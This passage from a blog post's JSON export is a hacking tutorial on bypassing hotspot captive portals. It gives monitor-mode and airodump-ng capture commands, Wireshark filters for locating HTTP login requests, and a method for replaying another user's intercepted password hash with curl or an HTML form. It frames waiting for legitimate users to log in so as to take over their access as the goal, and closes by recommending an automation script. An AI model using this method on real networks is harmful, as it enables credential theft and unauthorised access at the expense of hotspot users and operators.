<\/strong>with the name of your wireless interface.\n<\/p>\n<p style=\"text-align: justify;\">\n\tSet the adapter in monitor mode\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo ip link set wlan0 down\r\nsudo iw wlan0 set monitor control\r\nsudo ip link set wlan0 up<\/pre>\n<p style=\"text-align: justify;\">\n\tLaunch airodump-ng to find out which channel the Access Point of interest is:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo airodump-ng wlan0<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/716.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1099\" height=\"648\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/716.png\" width=\"1080\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/716.png 1080w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/716-1000x600.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/716-768x461.png 768w\" sizes=\"(max-width: 1080px) 100vw, 1080px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tAs you can see in the screenshot, there are several open APs at different frequencies. I choose the one that has the stronger signal (because it and its clients should be closer to me).\n<\/p>\n<p style=\"text-align: justify;\">\n\tRun <strong>airodump-ng<\/strong> again with the following options:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>-w \/root\/open<\/strong> &#8211; this option to save the captured data to a file\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>&#8211;channel 10<\/strong> &#8211; we set up a certain channel so that airodump constantly listens to it and does not jump on other channels\n\t<\/li>\n<\/ul>\n<pre class=\"brush:bash;\">\r\nsudo airodump-ng --channel 10 -w \/root\/cap wlan0<\/pre>\n<p style=\"text-align: justify;\">\n\tNow just wait, when enough data is accumulated. We need to ensure that not only an authenticated user is present on the network, we need to wait until the authenticated user enters his credentials. Depending on the number of network users, it may take several hours or more.\n<\/p>\n<p style=\"text-align: justify;\">\n\tPay attention to the <strong>#Data<\/strong> field. If it does not change at all, then no one is connected to the access point. If it changes sluggishly, then someone is connected, but not surfing on Inernet.\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo analyze the data, open the capture file (I call it \/root\/cap-01.cap) in the Wireshark program:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/713.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1096\" height=\"810\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/713.png\" width=\"1074\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/713.png 1074w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/713-1000x754.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/713-768x579.png 768w\" sizes=\"(max-width: 1074px) 100vw, 1074px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo speed up the search, use the Wireshark filters.\n<\/p>\n<p style=\"text-align: justify;\">\n\tA filter that only shows data sent by the POST method:\n<\/p>\n<pre class=\"brush:plain;\">\r\nhttp.request.method == &quot;POST&quot;<\/pre>\n<p style=\"text-align: justify;\">\n\tA filter that only shows data sent by the GET method:\n<\/p>\n<pre class=\"brush:plain;\">\r\nhttp.request.method == &quot;GET&quot;<\/pre>\n<p style=\"text-align: justify;\">\n\tFilter to display all HTTP traffic (the filter is written in lowercase letters!):\n<\/p>\n<pre class=\"brush:plain;\">\r\nhttp<\/pre>\n<p style=\"text-align: justify;\">\n\tAnother way to display all HTTP traffic:\n<\/p>\n<pre class=\"brush:plain;\">\r\ntcp.port == 80<\/pre>\n<p style=\"text-align: justify;\">\n\tSearch for requests to a specific site (host):\n<\/p>\n<pre class=\"brush:plain;\">\r\nhttp.host == &quot;&lt;URL&gt;&quot;<\/pre>\n<p style=\"text-align: justify;\">\n\tSearch for requests to a specific site (host) by partial name:\n<\/p>\n<pre class=\"brush:plain;\">\r\nhttp.host contains &quot;here.partial name &quot;<\/pre>\n<p style=\"text-align: justify;\">\n\tShow all traffic from a specific IP\n<\/p>\n<pre class=\"brush:plain;\">\r\nip.src == 196.168.1.1<\/pre>\n<p style=\"text-align: justify;\">\n\tShow all traffic to a specific IP\n<\/p>\n<pre class=\"brush:plain;\">\r\nip.dst == 196.168.1.1<\/pre>\n<p style=\"text-align: justify;\">\n\tShow all traffic that has the specified IP as the source OR of the destination:\n<\/p>\n<pre class=\"brush:plain;\">\r\nip.addr == 196.168.1.1<\/pre>\n<p style=\"text-align: justify;\">\n\tTo speed up the process, I connected from another device and logged in with arbitrary data: I entered 11111111 as the user name, and 22222222 as the password.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIntercepted data:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/714.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1097\" height=\"775\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/714.png\" width=\"1549\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/714.png 1549w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/714-1000x500.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/714-768x384.png 768w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/714-1500x750.png 1500w\" sizes=\"(max-width: 1549px) 100vw, 1549px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThere are various useful information, but the main line is:\n<\/p>\n<pre class=\"brush:plain;\">\r\nusername=11111111&amp;password=15b4c47a3e0e44b9e40db20ac1225023&amp;dst=http%3A%2F%2Fdetectportal.firefox.com%2Fsuccess.txt&amp;popup=true<\/pre>\n<p style=\"text-align: justify;\">\n\tUnfortunately, instead of the password there is a hash: 15b4c47a3e0e44b9e40db20ac1225023. And not just a hash, the source code shows that salt was added to the password before the conversion:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/715.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1098\" height=\"742\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/715.png\" width=\"1328\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/715.png 1328w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/715-1000x559.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/715-768x429.png 768w\" sizes=\"(max-width: 1328px) 100vw, 1328px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe address of the JavaScript file: http:\/\/portal.cloud-hotspot.com\/md5.js, it has the same <strong>hexMD5 <\/strong>function:\n<\/p>\n<pre class=\"brush:jscript;\">\r\nfunction hexMD5 (str) { return binl2hex(coreMD5( str2binl(str))) }<\/pre>\n<p style=\"text-align: justify;\">\n\tThe password is first converted to a binary string, then its MD5 hash is considered, then the binary string is converted to hexadecimal.\n<\/p>\n<p style=\"text-align: justify;\">\n\tYou can say that I was not lucky. If you managed to intercept the password in clear form, then everything is fine. If you have a similar situation when the password is hashed, it can still be used! Although this requires unnecessary action on our part.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIt is important for the server to get the correct string, and how it is created, it does not check in any way. Therefore, we can simply send a request using curl containing all the necessary data and the server will perfectly accept our hash instead of the password itself, since it also receives a hash from other users (and not a password, as is usually done on websites where the hash is computed on the server side).\n<\/p>\n<p style=\"text-align: justify;\">\n\tMoreover, in order not to use curl every time, you can create a simple HTML file with the correct form that will send all the necessary data, including the hash. This file can be uploaded to the phone and the phone will be able to login a Portal.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn any case, it will be necessary to correctly identify all transmitted fields (with Burp Suite for easy), including hidden ones, specify the correct referrer, if necessary, etc. All these problems can be solved.\n<\/p>\n<p style=\"text-align: justify;\">\n\tDisadvantage of the method:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tIt is necessary not only the presence of a legitimate user who logged in to the portal, but also to find the moment when he logs in\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tif you are allowed to use credentials for only one device, you will have problems if you and a legitimate user are simultaneously trying to access the Internet through the Portal\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tthe password can be passed in the form of a hash, which complicates its use\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tThe advantages of this method:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tafter the capture of credentials, you can use the Internet in the Portal, even if it does not have legitimate users\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tif you are allowed to use credentials on multiple devices, you can log on from several computers \/ phones\n\t<\/li>\n<\/ul>\n<h2 style=\"text-align: justify;\">\n\tConclusion<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tConsidered the most common configurations of Captive Portal (hotspots with authorization via the web interface). The article contains the most effective methods of bypassing.\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo hack a Captive Portal you can use the <a href=\"https:\/\/en.kali.tools\/?p=724\" target=\"_blank\">hack-captive-portals<\/a> script, which brings full automation and great results.<\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>What is Captive Portal? With a Captive Portal you may encounter at the airport, hotel, condo, business centers, also now some mobile operators organize Wi-Fi access points using intercepting portals (hotspot with authorization on the web-interface). If you do not quite understand what I mean, then look at the screenshot:<a href=\"https:\/\/miloserdov.org\/?p=1088\" class=\"read-more\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":1101,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[6,120,113,97,25,61,37,38,112,5,59],"class_list":["post-1088","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-wireless-attacks","tag-automation","tag-captive-portal","tag-create_ap","tag-hacking","tag-kali-linux","tag-mac-address","tag-sniffing","tag-spoofing","tag-wi-fi-signal-improvement","tag-wireless","tag-wpa_supplicant"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/1088"}],"collection":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1088"}],"version-history":[{"count":4,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/1088\/revisions"}],"predecessor-version":[{"id":1108,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/1088\/revisions\/1108"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/media\/1101"}],"wp:attachment":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1088"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1088"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1088"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}